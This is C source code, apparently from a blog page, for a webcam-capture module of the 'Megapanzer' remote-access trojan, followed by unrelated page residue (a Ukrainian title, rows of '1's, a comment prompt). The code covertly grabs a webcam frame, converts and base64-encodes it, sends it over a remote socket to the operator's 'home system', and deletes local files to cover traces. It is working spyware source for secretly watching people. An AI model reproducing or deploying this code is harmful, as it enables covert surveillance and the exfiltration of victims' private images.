#include <stdio.h>#include <windows.h>#include <Vfw.h>#include "Megapanzer_Definitions.h"
extern HWND gWND;
DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter){HWND lWndVideoHandle;CAPSTATUS lCapStat;DWORD lRetVal = 0;char *lBMPFileName = "info.bmp";char *lJPGFileName = "info.jpg";char lJPGFileBaseName[MAX_BUF_SIZE + 1];HANDLE lFileHandle = INVALID_HANDLE_VALUE;DWORD lJPGFileSize = 0;char *lPreEncodedData = NULL;char *lEncodedData = NULL;DWORD lBytesRead = 0;char lTemp[MAX_BUF_SIZE + 1];int lFuncRetVal = 0;PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;SYSTEMTIME lSystemTime;
/** initialize values*/
ZeroMemory(&lCapStat, sizeof(CAPSTATUS));ZeroMemory(&lSystemTime, sizeof(lSystemTime));ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));
GetLocalTime(&lSystemTime);snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);
ZeroMemory(lTemp, sizeof(lTemp));_snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
/** capture webcam frame*/
Sleep(500);lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);capDriverConnect(lWndVideoHandle, 0);Sleep(1000);capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));capGrabFrame(lWndVideoHandle);capEditCopy(lWndVideoHandle);capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;capDriverDisconnect(lWndVideoHandle) ;DestroyWindow(lWndVideoHandle);
convertBMP2JPG(lBMPFileName, lJPGFileName);
if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE){lJPGFileSize = GetFileSize(lFileHandle, 0);
/** encocd created jpg file*/
if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL){ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);CloseHandle(lFileHandle);
if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL){
/** transfer picture data to home system*/
Base64encode(lEncodedData, lPreEncodedData, lBytesRead);
ZeroMemory(lTemp, sizeof(lTemp));_snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);
ZeroMemory(lTemp, sizeof(lTemp));_snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);} // if ((lEncodedData = (char *) He...} // if ((lPreEncodedData = (char *) HeapAlloc(GetP...} // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...
ZeroMemory(lTemp, sizeof(lTemp));_snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
/** cleaning up before returning*/
DeleteFile("info.bmp");DeleteFile("info.jpg");
return(lRetVal);}
Слова Перемоги | Віталій Вознюк (11.09.2023)
-
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 year ago
0 comments:
Post a Comment
Please Comment my blog..